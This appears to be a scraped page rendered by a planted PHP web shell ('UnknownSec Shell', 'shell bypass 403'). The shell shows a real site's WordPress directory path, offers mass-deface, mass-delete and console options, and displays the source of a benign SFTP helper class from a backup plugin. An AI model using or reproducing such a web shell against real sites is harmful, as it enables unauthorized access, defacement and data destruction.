shell bypass 403
UnknownSec Shell
:
/
home
/
innovagencyco
/
www
/
abtest.innovagency.co.za
/
wp-content
/
plugins
/
backuply-pro
/
lib
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
sftp.php
<?php set_include_path(__DIR__ .'/phpseclib'); include('Net/SSH2.php'); include('Net/SFTP.php'); include('Crypt/RSA.php'); class sftp{ var $ssh_conn; var $sftp_conn; var $error; var $log_on = 1; var $auth_pass; var $sftp; var $ssh; function __construct(){ } //removed $pub since while accessing we need only private key function connect($host, $port, $user, $password = '', $pri = '', $passphrase = ''){ $this->sftp = new Net_SFTP($host, $port); if(!empty($pri)){ $key = new Crypt_RSA(); if(!empty($passphrase)){ $key->setPassword($passphrase); } $key->loadKey($pri); } if (!$this->sftp->login($user, !empty($password) ? $password : $key)) { return false; } return true; } function delete($filename){ return $this->sftp->delete($filename); } function is_dir($dir){ $org = $this->sftp->pwd(); $this->sftp->chdir($dir); if($dir == trim($this->sftp->pwd())){ $this->sftp->chdir($org); return true; } return false; } function chdir($dir){ return $this->sftp->chdir($dir);; } function pwd(){ return $this->sftp->pwd(); } function chmod($pathname, $mode, $rec = 0){ return $this->sftp->chmod($mode, $pathname, $rec); } // Test it function utime($pathname, $mtime) { // Try to set the mtime with touch command $output = $this->sftp->exec("touch -m -t ".substr_replace($mtime, '.', -2, 0)." ".$pathname); return TRUE; } function file_exists($file){ $output = $this->sftp->stat($file); if(is_array($output)){ return true; } return false; } function copy($source, $dest, $rec = 1){ if($this->file_exists($source) || $this->is_dir($source)){ $output = $this->sftp->exec("cp ".(!empty($rec) ? '-R ' : '')."$source $dest"); }else{ return false; } if($this->file_exists($dest) || $this->is_dir($dest)){ return true; }else{ $this->error = "Could not copy $source to $dest"; return false; } } function rename($from, $to){ return $this->sftp->rename($from, $to); } function rmdir($dir, $rec = 1){ return $this->sftp->delete($dir, $rec); } function mkdir($dirname, $mode = 0755, $rec = 0){ backuply_log(' sftp mkdir, dirname : '.$dirname.' , mode : '.$mode.' , rec : '.$rec); return $this->sftp->mkdir($dirname, $mode, $rec); } function mmkdir($dir, $mode = 0755) { backuply_log(' sftp mmkdir, dir : '.$dir.' , mode : '.$mode); return $this->sftp->mkdir($dir, $mode, 1); } function exec($command, $blocking = true, $error = false){ $this->sftp->enableQuietMode(); $this->sftp->exec($command); if(!empty($error)){ $this->error[] = $this->sftp->getStdError(); } return $this->sftp->getExitStatus(); } /* function realpath($filename){ return ssh2_sftp_realpath($this->sftp_conn, $filename); } */ function put($local_file, $remote_file, $mode = 0644){ // Check last file and skip the files that have been already transferred... if(!empty($GLOBALS['last_file']) && $GLOBALS['start'] == 0){ if(preg_match('#^'.$GLOBALS['last_file'].'$#', $local_file)){ $GLOBALS['start'] = 1; // give a jump start once the last transferred file is found.. } return true; //return true to skip files } if(!$this->sftp->put($remote_file, $local_file, NET_SFTP_LOCAL_FILE)){ return false; } //We can run the scripts for the end time already set if(time() >= $GLOBALS['end']){ $GLOBALS['end_file'] = $local_file; // set end file so that we know where to start from } return true; } function get($remote_file, $local_file, $offset = 0, $length = -1){ return $this->sftp->get($remote_file, $local_file, $offset, $length); } function mget($remote, $local=".", $continious=false, $include_only=array()) { global $__settings; if(!@file_exists($local)) { if(!@mkdir($local)) { $this->error[] = "Cannot create folder \"".$local."\""; return FALSE; } } $list = $this->rawlist($remote); if($list===false) { $this->error[] = "Can't read remote folder \"".$remote."\" contents"; return FALSE; } if(empty($list)) return true; foreach($list as $k=>$v) { $v['name'] = $k; $list[$k] = $this->_parselisting($v); if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]); } $ret=true; foreach($list as $ek => $el) { if($el['size'] == '0'){ if($el['type'] == 'f'){ $empty_file = @fopen($local.'/'.$el['name'], "w"); @fclose($empty_file); }elseif($el['type'] == 'd'){ mkdir($local.'/'.$el['name']); } @chmod($local.'/'.$el['name'], $el['perms']); $t=$el["time"]; //echo 'Path :'.$local."/".$el["name"].' Date : '.$el["date"].' Strtotime : '.$t.'<br />'; if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t); unset($list[$ek]); continue; } $extension = get_extension($el['name']); if(!empty($include_only) && !in_array($el['name'], $include_only) && $extension !== 'sql'){ unset($list[$ek]); continue; } $current_file = $el["path"].$el["name"]; //To exclude some files/folder if(!empty($__settings['exclude_files']) && in_array($current_file, $__settings['exclude_files'])){ unset($list[$ek]); continue; } if($el["type"]=="d") { if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) { $this->error[] = "Can't copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\""; $ret=false; if(!$continious) break; } } else { //To exclude some files if set in script's clone.php's __pre_unzip() function if(!empty($__settings['exclude_ext']) && in_array($extension, $__settings['exclude_ext'])){ unset($list[$ek]); continue; } if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) { $this->error[] = "Can't copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\""; $ret=false; if(!$continious) break; } } @chmod($local."/".$el["name"], $el["perms"]); $t=$el["time"]; //echo 'Path :'.$local."/".$el["name"].' Date : '.$el["date"].' Strtotime : '.$t.'<br />'; if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t); } return $ret; } function mput($local=".", $remote=NULL, $continious=false, $include_only=array()) { global $__settings, $ftp; if(!@$ftp->is_dir($remote)) { if(!@$ftp->mkdir($remote)) { $this->error[] = "mput: can't create folder, Can't create remote file \"".$remote; return FALSE; } } $list = filelist_fn($local, 0); if($list===false) { $this->error[] = "mput: can't retrive directory listing, Can't retrive directory listing of local folder \"".$local; return FALSE; } if(empty($list)) return TRUE; foreach($list as $k=>$v) { $stat = stat($k); if($v['dir'] == '0'){ $list[$k]['type'] = 'f'; }else{ $list[$k]['type'] = 'd'; } $list[$k]['name'] = $v['name']; $list[$k]['size'] = $stat['size']; $list[$k]['perms'] = octdec(substr(sprintf('%o', $stat['mode']), -4)); $list[$k]['time'] = date('YmdHis', $stat['mtime']); if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]); } $ret=true; foreach($list as $ek => $el) { // ----- break the loop once last file is found... if(!empty($GLOBALS['end_file'])){ break; } if($el['size'] == '0'){ if($el['type'] == 'f'){ //Create an empty file if(!$this->put($local."/".$el["name"], $remote."/".$el["name"])) { $this->error[] = "mput: can't copy file, Can't copy local file \"".$local."/".$el["name"]."\" to remote \"".$remote."/".$el["name"]."\""; $ret=false; if(!$continious) break; } }elseif($el['type'] == 'd'){ $ftp->mkdir($remote.'/'.$el['name']); } @$ftp->chmod($remote.'/'.$el['name'], $el['perms']); //Set modified time $t=$el["time"]; if($t!==-1 and $t!==false){ $ftp->utime($remote.'/'.$el['name'], $el["time"]); } unset($list[$ek]); continue; } $extension = get_extension($el['name']); if(!empty($include_only) && !in_array($el['name'], $include_only) && $extension !== 'sql'){ unset($list[$ek]); continue; } $current_file = $el["path"].$el["name"]; //To exclude some files/folder if(!empty($__settings['exclude_files']) && in_array($current_file, $__settings['exclude_files'])){ unset($list[$ek]); continue; } if($el["type"]=="d") { if(!$this->mput($local."/".$el["name"], $remote."/".$el["name"], $continious)){ $this->error[] = "mput: can't copy folder, Can't copy local folder \"".$local."/".$el["name"]."\" to remote \"".$remote."/".$el["name"]."\""; $ret=false; if(!$continious) break; } }else{ //To exclude some files if set in script's clone.php's __pre_unzip() function if(!empty($__settings['exclude_ext']) && in_array($extension, $__settings['exclude_ext'])){ unset($list[$ek]); continue; } if(!$this->put($local."/".$el["name"], $remote."/".$el["name"])) { $this->error[] = "mput: can't copy file, Can't copy local file \"".$local."/".$el["name"]."\" to remote \"".$remote."/".$el["name"]."\""; $ret=false; if(!$continious) break; } } @$ftp->chmod($remote."/".$el["name"], $el["perms"]); //Set modified time $t=$el["time"]; if($t!==-1 and $t!==false){ $ftp->utime($remote.'/'.$el['name'], $el["time"]); } } return $ret; } function rawlist($pathname="", $arg=""){ return $this->sftp->rawlist($pathname); } function is_exists($file){ if($this->file_exists($file)){ return true; } return false; } // Takes the DATA rather than the LOCAL file name function softput($remotefile=NULL, $softdata, $rest=0) { return $this->sftp->put($remotefile, $softdata); } // Returns the Data function softget($remotefile=NULL) { return $this->sftp->get($remotefile); } function nlist($dir = '.'){ return $this->sftp->nlist($dir); } function _parselisting($line) { $b = array(); if($line['type'] == 2){ $b['isdir'] = 1; $b['type'] = 'd'; }elseif($line['type'] == 3){ $b['islink'] = 1; $b['type'] = 'l'; }else{ $b['type'] = 'f'; } $b['perms'] = $line['permissions'] & 0777; $b['size'] = $line['size']; $b['time'] = $line['mtime']; $b['name'] = $line['name']; return $b; } // For remote backup SFTP function backup_softput($remotefile=NULL, $softdata){ $ret = $this->sftp->put($remotefile, $softdata, NET_SFTP_RESUME); return $ret; } }
© 2024 UnknownSec